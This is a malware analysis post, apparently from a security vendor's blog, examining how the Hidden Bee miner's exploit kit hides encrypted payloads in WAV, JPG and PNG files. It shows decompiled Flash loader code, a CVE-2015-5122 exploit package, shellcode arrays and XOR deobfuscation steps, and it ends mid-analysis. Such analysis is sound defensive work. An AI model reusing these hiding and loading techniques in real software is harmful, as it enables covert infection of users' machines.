The Hidden Bee infection chain, part 1: the stegano pack

blog.malwarebytes.com/threat-analysis/2019/08/the-hidden-bee-infection-chain-part-1-the-stegano-pack/

hasherezade

August 15, 2019



About a year ago, <u>we described the Hidden Bee miner delivered by the Underminer Exploit</u> <u>Kit</u>.

Hidden Bee has a complex and multi-layered internal structure that is unusual among cybercrime toolkits, making it an interesting phenomenon on the threat landscape. That's why we're dedicating a series of posts to exploring particular elements and updates made during one year of its evolution.

Recently, we decided to revisit this interesting miner, <u>describing its loader</u> that starts the infection from a single malicious executable. This post will present an alternative loader that is deployed when the infection starts from the Underminer Exploit Kit. It is analogous to the loader we described in the following posts from 2018: [1] and [2].

The dropped payloads: an overview

The first time we spotted Hidden Bee, it started the infection from a flash exploit. It downloaded and injected two elements with WASM extensions that in reality were executable modules in a custom format. We described them in detail <u>here</u>.

					,			
Ē	250	200	HTTP	103.35.72.223	/rt/amjt1p9970aasco1ls29dl0hbc.wasm	7 768	application/	iexplore: 1588
	251	200	HTTP	103.35.72.223	/git/wiki.asp?id=8b4c608145b5391bda50029f738aa934			dllhost: 1496
Ξ	252	200	HTTP	103.35.72.223	/git/glfw.wasm	20 722	application/	dllhost: 1496

The files with WASM extensions, observed a year ago

Those elements were the initial loaders, responsible for initiating <u>the infection chain that at</u> <u>the end installed the miner</u>.

Nowadays, those elements have changed. If we take a look at the elements dropped by the same EK today, we will no longer find those WASM extensions. Instead, we encounter various multimedia files: a WAV (alternatively two WAVs), a JPEG, and a PNG.

Js 262	200	HTTP	/static/encrypt.min.js	16 231	text/javasc	iexplore:3588
S 263	200	HTTP	/static/tinyjs.min.js	4 215	text/javasc	iexplore:3588
as 264	200	HTTP	/js/s9a35o9il111f1sjumg6veg65c.js	47	text/javasc	iexplore:3588
265	200	HTTP	/views/vqqidjelblvvpn4sddfnsndqb8.html	6 928	text/javasc	iexplore:3588
≪≫266	200	HTTP	/pubs/article.php?id=03e6c47cd44a9b6289027672980eed54	297	text/html; c	iexplore:3588
&≥267	200	HTTP	/views/4fmbfsgtvdt9f1203vunbhtrr8.html	419	text/html; c	iexplore:3588
268 💋	200	HTTP	/views/0iif3dpqdfp61uavrj9nsfv48.swf	115 972	application/	iexplore:3588
269	200	HTTP	/views/m4rihvktfuce9l80hkir0oell8.wav	35 852	audio/wav	iexplore:3588
270	200	HTTP	/views/nb3r4idp77lgol7ba8hadtc9pg.wav	48 852	audio/wav	iexplore:3588
271	200	HTTP	/views/phqm86n2s58h6mm5d21ehfc6gs.jpg	157 590	image/jpeg	dllhost:544
276 🔤	200	HTTP	/images/captcha.png?mod=attachment&u=ed1b6cd76c121c2d08a15b6f82dc1663	26 516	image/png	regsvr32:2948

The elements downloaded nowadays: WAV, JPG, PNG

The WAV files are downloaded by iexplore.exe, the browser where the exploit is run. In contrast, the images are downloaded at later stages of infection. For example, the JPG is always downloaded from the dllhost.exe process. The PNG is often downloaded from yet another process.

In some runs, we observed the PNG to be downloaded instead of the JPG:

7	3 200) HTTP	/views/bd2286mdrg5s6ohkplrvm2uo0g.swf	102 498	application/x-shockwave-flash	iexplore: 1720	[#109]
5 7	4 302	2 HTTP	/fwlink/?LinkId=68928	0		msfeedssync:3256	[#110]
≪≫7	5 200) HTTP	/athome/community/rss.xml	0	text/html	msfeedssync:3256	[#111]
87	5 200) HTTP	/views/e8m68dui35oq9lqhrjcdmn4vgs.wav	48 844	audio/wav	iexplore: 1720	[#112]
3	7 200) HTTP	/pubs/wiki.php?id=1ad51d10a1a008deeea448cafcced9b3	0		dllhost:3932	[#113]
27	8 200) HTTP	ieonlinews.microsoft.com:443	739		msfeedssync:3256	[#114]
2 7	9 200) HTTP	/images/captcha.png?mod=attachment&u=13103ee8e1ca2043405652a3d3ebcbc8	26 707	image/png	dllhost: 3932	[#115]

Alternative: PNG being downloaded after WAV

We will start our journey of Hidden Bee analysis by looking at these files. Then, we will move to see the code responsible for processing them in order to reveal their hidden purpose.

The roadmap of the full described package:



Diagram showing the transitions between the elements

The downloaded WAV

The WAV file sounds like grey noise, and we suspect that it is meant to hide some binary belonging to the malware.

1.0	يعظرهم وربال فيعاهدوا مطلبهما فأنبر يتتوالون بلايطا للألف مسأعان بيرياه والمكمان فألفا وتوالدهان فالتقو للأجرياه وبلارة يسافر ويتروز	غياميه وبليعيز فيلاعن فعجاجه أدعاء ساليا أحريق كالباسي فالبال
0.5	ունինում իս նանում և հետը նարագանը հենքների նարագացունելը, ներ հետ հետը հանաքանությունը է հետը կարերությունը է Դունինում իս նանությունը հետը հետը է հետը է նարագային է հետ հետը հետը հետը հետը հետը հետը հետը	oonaa ja pargeediara aa kuku paasit perikan nya pargeatan nya takina perika takina perika takina parka parka pa
0.0-		-
-0.5	n i e dan sanan an sana da ma kala ini dan ini di rada a ta mini kasa sana da sana da sana maka sini na ina da	an an adharaichd an an Barlanda an an su chinan aitsina mulairtean aisin an suid
-1.0	بالتقديس فالبنا فاسترب متله مارياه فاستقاص وبحاط ساعرونا العرعفان بالرابط بالنعر بالحاك استعادت السريحة تدفعا المرجحين الحذاة والمراسات ويتا	n ha ha ba da sana da ka sana ang ka sana ka sana ka ka sana ka ka ka ka sana ka sana ka sana ka sa sana ka sa

An oscillogram of the WAV file

The data is unreadable, probably encrypted or obfuscated:

📓 k6lli1dps4u8otu59ldderh1mg.wav																	
Offset(h)	00	01	02	03	04	05	06	07	08	09	OA	0B	oc	OD	0E	OF	
00000000	52	49	46	46	D4	BE	00	00	57	41	56	45	66	6D	74	20	RIFFÔIWAVEfmt
00000010	10	00	00	00	01	00	01	00	80	3E	00	00	00	7D	00	00	€>}
00000020	02	00	10	00	64	61	74	61	B0	BE	00	00	B6	5B	87	B7	data°1¶[‡·
00000030	49	9F	03	6E	39	13	7A	9E	7B	82	5F	2D	1E	C8	B2	D4	Iź.n9.zž{,ČįÔ
00000040	69	8E	63	23	BD	FA	E2	87	C5	A 8	63	B3	ED	51	9B	FO	iŽc#″úâ‡Ĺ¨cłíQ>đ
00000050	1B	74	7D	7D	E6	28	DC	0D	1D	56	10	50	8E	1F	56	C9	.t}}ć(ÜV.PŽ.VÉ
00000060	3C	5D	Β4	54	D5	14	03	11	4A	1F	15	69	7C	40	8C	07	<]′TŐJi @Ś.
00000070	17	7B	46	DD	71	60	78	85	AA	ЗE	7F	C4	6A	FE	00	26	.{FÝq`xŞ>.Äjţ.&
00000080	3E	43	06	94	16	24	2B	D9	89	ЗB	02	21	92	E0	1A	48	>C.″.\$+Ů‱;.!′ŕ.H

We also found a repeating pattern inside, which looks like an encrypted padding. The size of the chunk is 8 bytes.

 00007AF0
 18 71 6D 4A 3D 03 E4 C8 86 0F F5 B8 6F CD EE 5A
 .qmJ=.äČt.ő,oĺîZ

 00007B00
 13 06 54 7F 7A CE F9 9B 5E 63 08 38 7A CE F9 9B
 ..T.zÎů>^c.8zÎů>

 00007B10
 5E 63 08 38 7A CE F9 9B 5E 63 08 38 7A CE F9 9B
 ..T.zÎů>^c.8zÎů>

 00007B20
 5E 63 08 38 7A CE F9 9B 5E 63 08 38 7A CE F9 9B
 ..T.zÎů>^c.8zÎů>

 00007B20
 5E 63 08 38 7A CE F9 9B 5E 63 08 38 7A CE F9 9B
 ^c.8zÎů>^c.8zÎů>

 00007B30
 5E 63 08 38 7A CE F9 9B 5E 63 08 38 7A CE F9 9B
 ^c.8zÎů>^c.8zÎů>

 00007B40
 5E 63 08 38 7A CE F9 9B 5E 63 08 38 7A CE F9 9B
 ^c.8zÎů>^c.8zÎů>

repeating pattern inside the file: 8 bytes long

This time, using the repeating pattern as an XOR key didn't help in getting a readable result, so probably some more complex block cipher was used.

The JPG

Below is a sample JPG, downloaded from the URL in the format: /views/[unique_string].jpg

In contrast to the WAV content, the JPG always looks like a valid image. (Interestingly, all the JPGs we observed have a consistent theme of manga-styled girls.) However, if we take a closer look at the image, we can see that some data is appended at the end.

Transformer Headers TextView	SyntaxView ImageView HexView WebView Auth
Caching Cookies Raw JSON	XML
Format: JPEG 156 005 bytes	
252w x 352h 1,76 bytes/px 96 dpi Baseline Subsample@4:2:0 APP0 Data (22 bytes) [JFIF1.1] DPI: 96 APP1 Data (Exif. 56 bytes)	
MALFORMED: 118 762 bytes after final segment.	
Huffman Tables: 4	

Let's analyze the JPG and try to extract the payload.

First, I opened the image in a hexeditor (i.e. HxD). The size of the full image is 156,005 bytes. The last 118,762 bytes belong to the malware. So, we need remove the first 37,243 bytes (156,005-118,762=37,243) in order to get the payload.

📓 jpg_payload	l.bin																
Offset(h)	00	01	02	03	04	05	06	07	08	09	OA	0B	0C	OD	0E	OF	
00000000	C4	97	86	9D	OF	2A	E4	E5	FE	В9	9D	E6	33	BB	DE	AO	ä—†ť.*äĺţąťć3»Ţ
00000010	1D	1D	E4	03	05	74	20	F3	FD	DF	89	DD	E8	ED	20	B0	ät óý߉Ýčí °
00000020	3E	9B	91	6E	9D	96	02	F5	55	E9	E5	E5	E5	E5	E5	E5	>>`ntőUélílílí
00000030	9D	E9	E5	E5	E5	E5	E5	E5	D4	25	A5	75	EA	61	B3	E0	téííííííô%Auęałŕ
00000040	E5	E5	0D	E1	E5	E5	E5	EA	E5	85	E9	BD	85	81	6E	D0	íí.áíííęí…é″nĐ
00000050	D5	E5	E5	E5	B7	В4	B5	B3	0D	A1	E5	E5	E5	84	26	6E	ŐÍÍÍ ′µł. ĭÍÍÍ"&n
00000060	B1	C1	E1	6E	A1	C1	E9	B3	6E	91	C1	E9	B2	68	D9	E7	±Áán ʿÁéłn 'Áé ृhŮç
00000070	EA	52	E7	Α7	Α7	66	1D	Α4	99	ED	66	1D	BF	9A	E6	66	ęRç§§f.¤™íf.żšćf
he appended part of the JPG																	

The payload does not look like a valid code, so it is probably obfuscated. Let's try the easiest option first and see if there are any candidates for the XOR key. We can see that the payload has padding at the end:

📓 jpg_payload.	bin																
Offset(h)	00	01	02	03	04	05	06	07	08	09	0A	0B	oc	0D	0E	OF	
0001CFB0	E5	E5	E5	E5	E5	E5	E5	E5	E5	E5	E5	E5	E5	E5	E5	E5	1111111111111111
0001CFC0	E5	E5	E5	E5	E5	E5	E5	E5	E5	E5	E5	E5	E5	E5	E5	E5	1111111111111111
0001CFD0	E5	E5	E5	E5	E5	E5	E5	E5	E5	E5	E5	E5	E5	E5	E5	E5	1111111111111111
0001CFE0	E5	E5	E5	E5	E5	E5	E5	E5	E5	E5							iiiiiiiii

Let's try to apply the repeating character (in the given example it is 0xE5) as an XOR key. This is the result (<u>1953032199142ea8c5872107da8f2297</u>):

📓 out.bin																	
Offset(h)	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	OD	0E	OF	
00000000	21	72	63	78	EA	CF	01	00	1B	5C	78	03	D6	5E	3B	45	<mark>!rcx</mark> ęĎ\x.Ö^;E
00000010	F8	F8	01	E6	EO	91	C5	16	18	ЗA	6C	38	0D	08	C5	55	řř.ćŕ`Ĺ:18ĹU
00000020	DB	7E	74	8B	78	73	E7	10	B0	0C	00	00	00	00	00	00	Ű~t< xsç.°
00000030	78	0C	00	00	00	00	00	00	31	C0	40	90	OF	84	56	05	x1Ŕ@"V.
00000040	00	00	E8	04	00	00	00	OF	00	60	0C	58	60	64	8B	35	č`.X`d<5
00000050	30	00	00	00	52	51	50	56	E8	44	00	00	00	61	C3	8B	0RQPVčDaĂ∢
00000060	54	24	04	8B	44	24	0C	56	8B	74	24	0C	57	8D	3C	02	T\$. <d\$.v<t\$.wť<.< td=""></d\$.v<t\$.wť<.<>
00000070	0F	B7	02	42	42	83	F8	41	7C	08	83	F8	5A	7F	03	83	. ∙.BB.řA řZ
00000080	C0	20	OF	B7	0E	46	46	83	F9	41	7C	08	83	F9	5A	7F	Ŕ .∙.FF.ůA ůZ.
00000090	03	83	C1	20	3B	D7	73	04	3B	C1	74	D4	5F	2B	C1	5E	Á ;×s.;ÁtÔ_+Á^
000000A0	C3	55	8B	EC	83	EC	4C	8B	45	08	53	56	57	8B	70	0C	ĂU<ě.ěL <e.svw<p.< td=""></e.svw<p.<>
000000B0	6A	6C	58	33	C9	66	89	45	BE	66	89	45	C8	66	89	45	jlX3Éf%Elf%EČf%E

Repeating the experiment on various payloads, we can see that the result always start from the keyword <u>!rcx</u>. As we know from analyzing <u>other elements of Hidden Bee</u>, the authors of this malware decided to use various custom formats named after <u>64-bit Intel registers</u>. We also encountered packages starting from <u>!rbx</u> and <u>!rsi</u> at different layers. So, this is the first element in the chain that uses this convention.

When we load the <u>!rcx</u> module into IDA, we can confirm that it contains valid code. More detailed explanation about the <u>!rcx</u> format will be given later on in this article.

The PNG

Let's have a look at a sample PNG, download from the "captcha.png" (URL format: /images/captcha.png?mod=attachment&u=[unique_id]):

Transformer	Headers	TextView	SyntaxView	ImageView	HexView
WebView A	Auth Ca	ching Coo	kies Raw	JSON XN	1L
Format: PNG 26 707 bytes					
82w x 82h 3,97 bytes/px 96 dpi Color: RGB+Alj	pha 8bits/sar	nple			
Autoshrink		-			

Although it is a PNG in a valid format, it looks like noise. It probably represents bytes of some encrypted data. An attempt of converting PNG to raw bytes didn't give any readable results. We need to analyze the code in order to discover what it hides.

Code analysis: the initial SWF file

The initial SWF file is embedded on the website and responsible for serving the exploit. If we look inside it, we will not find anything malicious at first. However, among the binary data we can find another suspicious WAV as an audio asset:

🖉 dts89olkung154t636t4na2v8g.swf	^
🔁 🚰 binaryData	
— 🔲 DefineBinaryData (1: MyAudioAsset)	
— DefineBinaryData (2: com.google_2F_var_2F_folders_2I	
— DefineBinaryData (3: com.google_2F_var_2F_folders_2I	
— DefineBinaryData (4: com.google_2F_var_2F_folders_2I	
Image:	
📙 🕂 🗐 DefineBinaryData (6: com.google_2F_var_2F_folders_2I	
DefineBinaryData (7: com.google_2F_var_2F_folders_2I	
📔 🖵 🗐 DefineBinaryData (8: com.google_2F_var_2F_folders_2I	
The beginning of the file:	

00000000 52 49 46 46 84 27 00 00 57 41 56 45 66 6D 74 20 RIFF"' WAVEfmt 00000010 10 00 00 00 01 00 01 00 80 3E 00 00 00 7D 00 00 > } data`' 00000020 02 00 10 00 64 61 74 61 60 27 00 00 D4 1A EB D1 ô ëÑ 00000030 B1 93 8A C1 CB 21 97 1F 5C D1 49 5F 90 75 A8 67 ±"ŠÁË!− \ÑI_ u¨g 00000040 5C 82 23 7C A9 F8 36 5E 04 DD 37 D7 75 2B 1D 1B \, # | © ø 6 ^ Ý7×u+ 00000050 88 B4 8A C1 EB 22 73 64 87 B0 1D 8A 48 1A E1 38 ^ ´ ŠÁë "sd‡° ŠH á8 00000060 A2 03 D4 27 54 5E F3 CB 46 F6 04 86 86 4F A5 25 ◊ Ô'T^ÓËFÖ ‡‡O¥%

This SWF file also contains a decoder for it:

```
79
          public static function Init(param1:DisplayObjectContainer) : void
80
          {
             var _loc3_:String = null;
81
             var _loc4_:String = null;
82
             var _loc5_:int = 0;
83
84
             var _loc6 :ByteArray = null;
85
             var _loc7_:ByteArray = null;
             var loc2 :* = param1.loaderInfo.parameters;
86
             doc = param1;
87
             platform_ = _loc2_["platform"];
88
             if(platform == null)
89
90
             { ·
                platform = "";
91
92
             3
93
             userAgent_ = unescape(_loc2_["user"]);
             if(ExternalInterface.available)
94
95
             {
96
                try
97
                {
                   _loc3_ = ExternalInterface.call("parent.parent.AppUtils.getToken");
98
                   loc4 = ExternalInterface.call("getSalt");
99
100
                   _loc5_ = ExternalInterface.call("parent.parent.AppUtils.getAppId");
101
                   loc6 = setup( loc3 + loc4 );
                    loc7 = new MyAudioAsset() as ByteArray;
102
                   loader_ = decode(_loc7_,_loc6_,_loc5_,onMovieLoaded);
103
104
                   return;
105
                }
106
                catch(e:Error)
107
                {
108
                   return;
109
                }
110
```

The function "decode" takes four parameters. The first of them is the byte array containing the WAV asset: That is the content to be decoded. The second argument is an MD5 (the "setup" function is an MD5 implementation) made of concatenation of the AppId and the AppToken: That is probably the encryption key. The third parameter is a salt (probably the initialization vector of the crypto).

The salt is fetched from the HTML page, where the Flash component is embedded:

📄 f5mii	5ngsdq5p	bfbe2j2fl8t4.html 🔀
1	Ę	<html></html>
2	白	<body></body>
3	白	<script type="text/jaxaagript"></th></tr><tr><th>4</th><th>白</th><th><pre>function getSalt() {</pre></th></tr><tr><th>5</th><th></th><th>return "lmQREFFGabdecdAB";</th></tr><tr><th>6</th><th>-</th><th>}</th></tr><tr><th>7</th><th>-</th><th></script>
8	白	<pre><div style="position:fixed; top:50%; left:50%; margin-left:-300; margin-top:-200;"></div></pre>
9	白	<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" movie"="" type="application/x-shockwayg-flas</th></tr><tr><th>10</th><th></th><th><pre><param name=" value="/views/dts89olkung154t636t4na2v8g.<u>swf</u>"></object>
11		<pre><param name="allowScriptAccess" value="always"/></pre>
12		<pre><embed <="" allowscriptaccess="always" pre="" src="/views/dts89olkung154t636t4na2v8g.swf" type="applica"/></pre>
13	-	
14	-	
15	-	
16	L	

Sometimes, rather than embedding the WAV containing the Flash exploit, authors use another model of delivering it. They store the URL to the WAV, and then they retrieve the file.

In the below example, we can see how this model is applied to Hidden Bee. The salt, along with the WAV URL, are both stored in the Javascript embedded in the HTML:

```
1
             <html>
  2
             <bodv>
 з
            <script type="text/javascript">
  4
                  function getSalt() {
                         return "zACDBCcdSTBCXYTU12";
  5
  6
                   - }-
 7
                   function getAudioResource() {
 8
                         return "/views/r52b5m1k10v1t20tf4ak145c94.wav";
 9
                  - }-
10
          </script>
11
            <div style="position:fixed; top:50%; left:50%; margin-left:-300; margin-top:-200;">
12
                   <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" type="application/x-shockwave-</pre>
≣₽
      flash" id="swf" data="/views/sd3ol8fs844jsq3oeqoa4tjui4.swf">
13
                         <param name="movie" value="/views/sd3ol8fs844jsq3oeqoa4tjui4.swf"></param>
14
                         <param name="allowScriptAccess" value="always"></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param></param>
15
                         <embed src="/views/sd3ol8fs844jsq3oeqoa4tjui4.swf" allowScriptAccess="always" type="</pre>
₽₽
     application/x-shockwave-flash"></embed>
16
                  </object>
17
            </div>
18
            </body>
19
            </html>
```

The Flash file first loads it and then decodes as the next step:

```
userAgent_ = unescape(_loc2_["user"]);
urlLoader = new URLLoader();
urlLoader .dataFormat = URLLoaderDataFormat.BINARY;
urlLoader .addEventListener(Event.COMPLETE, onLoaded);
if(ExternalInterface.available)
ł
   try
   ł
      _loc3_ = ExternalInterface.call("parent.parent.AppUtils.getToken");
      loc4 = ExternalInterface.call("getSalt");
      loc5 = ExternalInterface.call("getAudioResource");
      algo = ExternalInterface.call("parent.parent.AppUtils.getAppId");
      cryptoKey = setup(_loc3 + _loc4_);
      if( loc5 .length > 0)
         urlLoader .addEventListener(IOErrorEvent.IO ERROR, onLoadError);
         urlLoader .load (new URLRequest ( loc5 ));
      }
      return;
   }
   catch(e:*)
   ł
      return;
```

Looking at the traffic capture, we can see that in this case, not one, but *two* WAV files are downloaded:

				0017012071010000	papajar addipriptia - oos das tas obradoo topadobara topara -		prosecuti	sanging gin	response a sector
<>	196	200	HTTP	38.75.137.9:9088	/views/vpriadgfb1fpj7ue76v2p47u3g.html	427	private	text/html; c	iexplore:2028
1	197	200	HTTP	38.75.137.9:9088	/views/sd3ol8fs844jsq3oeqoa4tjui4.swf	115 062	private	application/	iexplore:2028
5	198	200	HTTP	38.75.137.9:9088	/views/r52b5m1kl0v1t20tf4akl45c94.wav	35 880	private	audio/wav	iexplore:2028
5	199	200	HTTP	38.75.137.9:9088	/views/qa0tqpp2ub4bca7l0j5u2roaac.wav	48 852	private	audio/wav	iexplore:2028
2	200	200	HTTP	38.75.137.9:9088	/views/iev4sr9210s3f688r218bc6eok.jpg	156 005	private	image/jpeg	dllhost:2576

A case when two WAV files were downloaded (and none embedded in the Flash) The algorithms used to encrypt the content of the first WAV may vary and sometimes the algorithm is supplied as one of the parameters. After the content is fetched, the data from the WAV files is decoded using one of the available algorithms:

```
private static function onLoaded(param1:Event) : void
{
    urlLoader_.removeEventListener(Event.COMPLETE,onLoaded);
    urlLoader_.addEventListener(IOErrorEvent.IO_ERROR,onLoadError);
    var readData:ByteArray = urlLoader_.data as ByteArray;
    loader_ = decode(readData,cryptoKey_,algo,onMovieLoaded);
  }
```

We can see that the expected content is a Flash file that is then loaded:

```
private static function onMovieLoaded(param1:Event) : void
{
    loader_.contentLoaderInfo.removeEventListener(Event.COMPLETE,onMovieLoaded);
    var newClip:MovieClip = MovieClip(param1.currentTarget.content);
    doc_.addChild(newClip);
}
```

The "decode" function

The function "decode" is imported from the package "com.google":

```
94 getlocal 5
95 getlex Qname (PackageNamespace (""), "onMovieLoaded")
96 callproperty Qname (PackageNamespace ("com.google"), "decode") 4
The full decompiled code is available <u>here</u>.
```

When we look inside, we see that the code is slightly obfuscated:

	ActionScript source
com.go	bogle.decode
S	
WARN	NING: The code decompilation contains §§ instructions. This is usually caused by an obfuscation (See Settings/Automatic deobfuscation) or a nonstandard compiler used (Haxe, etc.).
1	package com.google
2	
3	<pre>import avm2.intrinsics.memory.li16;</pre>
4	<pre>import avm2.intrinsics.memory.li32;</pre>
5	<pre>import avm2.intrinsics.memory.l18;</pre>
6	<pre>import avm2.intrinsics.memory.sil6;</pre>
7	<pre>import avm2.intrinsics.memory.si32;</pre>
8	<pre>import avm2.intrinsics.memory.si8;</pre>
9	<pre>import com.google_2F_var_2F_folders_2F_z4_2F_jk5tsd613ns8hpppmxkv665m0000gn_2F_T_2F2F_ccuLOwUs_2E_lto_2E_bc_3A_2210E4FB_2D_444B_2D_45E7</pre>
10	<pre>import flash.display.Loader;</pre>
11	<pre>import flash.system.ApplicationDomain;</pre>
12	<pre>import flash.system.LoaderContext;</pre>
13	<pre>import flash.utils.ByteArray;</pre>
14	
15	public function decode(param1:ByteArray, param2:ByteArray, param3:int, param4:Function) : Loader
16	Ę
	-

Looking at the decompiled code, we see some interesting constants. For example, – 889275714 in hex is 0xCAFEBABE. As we found during <u>analysis of other Hidden Bee</u> <u>elements</u>, this DWORD was used by the same authors before as a magic number identifying one of the custom formats.

243	if(_loc53_ == -889275714)
244	{
245	_loc53_ = li32(_loc68 32);
246	if(_loc53_ == 32)
247	{
248	if(_loc59_ != 0)
249	{
250	if(_loc59_ != 1)
251	{
252	loc53 = int(loc68 - 40);
253	_loc53_ = _loc53_ 4;
254	_loc57_ = li32(_loc53_);
255	}
256	else
257	{
258	_loc5_ = int(_loc5 16);
259	si32(_loc57_,_loc5_ + 4);
260	_loc53_ = int(_loc68 1072);
261	si32(_loc53_,_loc5_);
262	$ESP = loc5_;$
263	<pre>F_ECRYPT_keysetup();</pre>
264	loc5 = int(loc5 + 16);
265	$_{loc51} = int(_{loc68} - 40);$
266	$_{loc51} = _{loc51} 4;$
267	_loc57_ = li32(_loc51_);
268	loc5 = int(loc5 - 16);
269	si32(_loc57_,_loc5_ + 12);
270	$_{loc51} = int(_{loc49} + 76);$
271	si32(_loc51_,_loc5_ + 8);
272	si32(_loc51_,_loc5_ + 4);
273	si32(_loc53_,_loc5_);
274	ESP = _loc5_;
275	<pre>F_ECRYPT_process_bytes();</pre>

Internally, there are references to a function from another module:

E_ENCRYPT_process_bytes(). Inside this function, we see calls suggesting that the <u>Rabbit</u> <u>Cipher</u> has been used:

```
10
       public function F_ECRYPT_process_bytes() : void
11
       {
          var loc2 :* = 0;
12
          var _loc7_:* = 0;
13
14
          var loc4 :* = 0;
          var loc5 :* = 0;
15
          var loc8 :int = 0;
16
          var loc6 :* = 0;
17
18
          var loc3 :* = int(ESP);
          _loc2_ = _loc3_;
19
          loc3 = int(loc3 - 16);
20
          _loc4_ = li32(_loc2_ + 12);
21
          loc5 = 1i32(loc2 + 8);
22
          loc6 = li32(loc2 + 4);
23
24
          _loc7_ = li32(_loc2_);
25
          if(uint(_loc4_) >= 16)
26
          {
27
             loc5 = int(loc5 + 12);
             _loc8_ = _loc6_ + 12;
28
29
             _loc6_ = int(_loc7_ + 68);
             do
30
31
             {
                _loc3_ = int(_loc3_ - 16);
32
33
                si32(_loc6_,_loc3_);
34
                ESP = loc3;
                F_RABBIT_next_state();
35
                loc3_ = int(_loc3_ + 16);
36
```

Rabbit uses a 128-bit key (the same length as the MD5 hash that was mentioned before) and a 64-bit initialization vector. (In different runs, a different encryption algorithm may be selected.)

After the decoding process is complete, the revealed content is loaded:

0020	L L L L L L L L L L L L L L L L L L L
3329	if(_loc57_ != 0)
3330	{
3331	_loc53_ = li32(_loc57_);
3332	$ESP = loc5_{\&} -16;$
3333	<pre>var _loc16_:ByteArray = new ByteArray();</pre>
3334	<pre>CModule.readBytes(int(_loc57_ + 4),_loc53_,_loc16_);</pre>
3335	$ESP = loc5_{\&} -16;$
3336	$ESP = loc5_{\&} -16;$
3337	<pre>new Loader().contentLoaderInfo.addEventListener("complete",param4);</pre>
3338	$ESP = loc5_{\&} -16;$
3339	<pre>var _loc69_:LoaderContext = new LoaderContext(false,ApplicationDomain.currentDomain);</pre>
3340	$ESP = loc5_{\&} -16;$
3341	<pre>_loc69applicationDomain = ApplicationDomain.currentDomain;</pre>
3342	$ESP = loc5_{\&} -16;$
3343	<pre>_loc69allowCodeImport = true;</pre>
3344	ESP = _loc5_ & -16;
3345	<pre>new Loader().loadBytes(_loc16_,_loc69_);</pre>
3346	_loc5_ = int(_loc5 16);
3347	si32(_loc57_,_loc5_);
3348	ESP = _loc5_;
3349	<pre>F_idalloc();</pre>
3350	_loc5_ = int(_loc5_ + 16);
3351	<pre>_loc28_ = new Loader();</pre>
3352	}

The first WAV: a Flash exploit

The decoded WAV contains a package with two elements embedded: a Flash file (movies.swf) and the configuration file (config.cfg). The decrypted data starts from the magic DWORD 0xCAFEBABE, which we noticed in the code of the previous SWF.

📓 iexplore.exe	.dmp																
Offset(h)	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	OD	0E	OF	Decoded text
07763B10	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
07763B20	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
07763B30	00	52	49	46	46	04	8C	00	00	57	41	56	45	66	6D	74	.RIFF.ŚWAVEfmt
07763B40	20	10	00	00	00	01	00	01	00	80	3E	00	00	00	7D	00	}€>}.
07763B50	00	02	00	10	00	64	61	74	61	E0	8B	00	00	33	8C	C2	dataŕ<3ŚÂ
07763B60	4E	99	31	7A	B8	6F	34	F6	A5	F7	A 8	AF	10	F3	07	C2	№1z,o4öĄ÷″Ż.ó.Â
07763B70	46	Β7	31	4E	B3	88	9E	FF	14	9F	1F	98	14	1F	8B	80	F 1Nł.ž .ź
07763B80	00	00	00	00	00	00	03	00	72	80	8D	7F	BE	BA	FE	CA	r€Ť. <mark>ľ</mark> şţE
07763B90	3C	00	00	00	02	00	00	00	24	00	00	00	3C	00	00	00	<\$<
07763BA0	2D	8B	00	00	30	00	00	00	69	8B	00	00	3C	00	00	00	-<0i<<
07763BB0	2F	6D	6F	76	69	65	73	2E	73	77	66	00	2F	63	6F	6E	/movies.swf./con
07763BC0	66	69	67	2E	63	66	67	00	43	57	53	1B	7F	FF	00	00	fig.cfg.CWS'
07763BD0	78	9C	EC	BD	77	5C	55	47	D7	2F	3E	B3	67	EF	B3	4F	xśě~w\UG×/>łgďłO

The Flash file (movies.swf) contains an embedded exploit. In the analyzed case, the exploit used is <u>CVE-2015-5122</u>, however, a different exploit may be used on a different machine:

~		·	· ·
🖉 flash2.	swf		
	ader		
🕩 📴 sha	apes		
🖶 🚰 spi	rites		
🕀 🔚 fran	mes		
🕂 🔁 oth	ers		
🖆 🔁 scr	ripts		
🗄 🌍	cve_2015	5122	fla
🗄 🌍	fl		
-0	Button_di	sabled	Skin
-0	Button_d	ownSki	n
-0	Button_er	mphasi	zedSkin
-0	Button_ov	/erSkin	

The payload (shellcode) is stored in form of an array (binary version available here: <u>9aec11ff93b9df14f060f78fbb1b47a2</u>):

```
1
  package
2 {
3
      class PayloadWin32
4
      {
5
6
         public static var payload: Vector. <uint> = Vector. <uint>([2420162609,130450447,1620836352,1768,134222080,
7
8
9
         function PayloadWin32()
10
         {
11
           super();
12
         }
13
      }
14 }
15
```

The configuration file (config.cfg) contains the URL to another WAV file.

The payload is padded with NOP (0x90) bytes, and the parameters, including the configuration, are filled there before the payload runs.

```
paylEnd = 0;
paylLength = PayloadWin32.payload.length;
indx = 0;
while(indx < paylLength - 1)</pre>
   if (PayloadWin32.payload[indx] == 0x90909090
    && PayloadWin32.payload[indx + 1] == 0x90909090
    )
   {
      paylEnd = indx;
     break;
   }
                                                              The fragment of the code
   indx++;
if(paylEnd != 0)
   indx = 0;
   while(indx < param1.length)</pre>
      //write parameters at the end of the payload:
      PayloadWin32.payload[paylEnd + indx] = param1[indx];
      indx++;
   }
```

feeding the configuration into the payload

The shellcode: downloading the second WAV

The second WAV, in contrast to the first one, is always downloaded and never embedded. It is retrieved by the "PayloadWin32" shellcode (<u>9aec11ff93b9df14f060f78fbb1b47a2</u>), deployed after the successful exploitation.

Looking inside this shellcode, we find the function that is responsible for downloading and decrypting another WAV. The shellcode uses parameters that were filled by the previous layer. This buffer contains the URL that will be queried and the key that will be used for decryption of the payload. It loads functions from wininet.dll using their checksums. After the initialization steps, it queries the supplied URL. The expected result is a buffer with a header typical for WAV files.

```
v2 = a2;
v3 = &input_buffer[-*(unsigned __int16 *)input_buffer];
func_checksums = (int)&v3[*((unsigned __int16 *)input_buffer + 1)];
buf = &v3[*(unsigned __int16 *)(func_checksums + 0x70) - *((unsigned __int16 *)input_buffer + 2)];
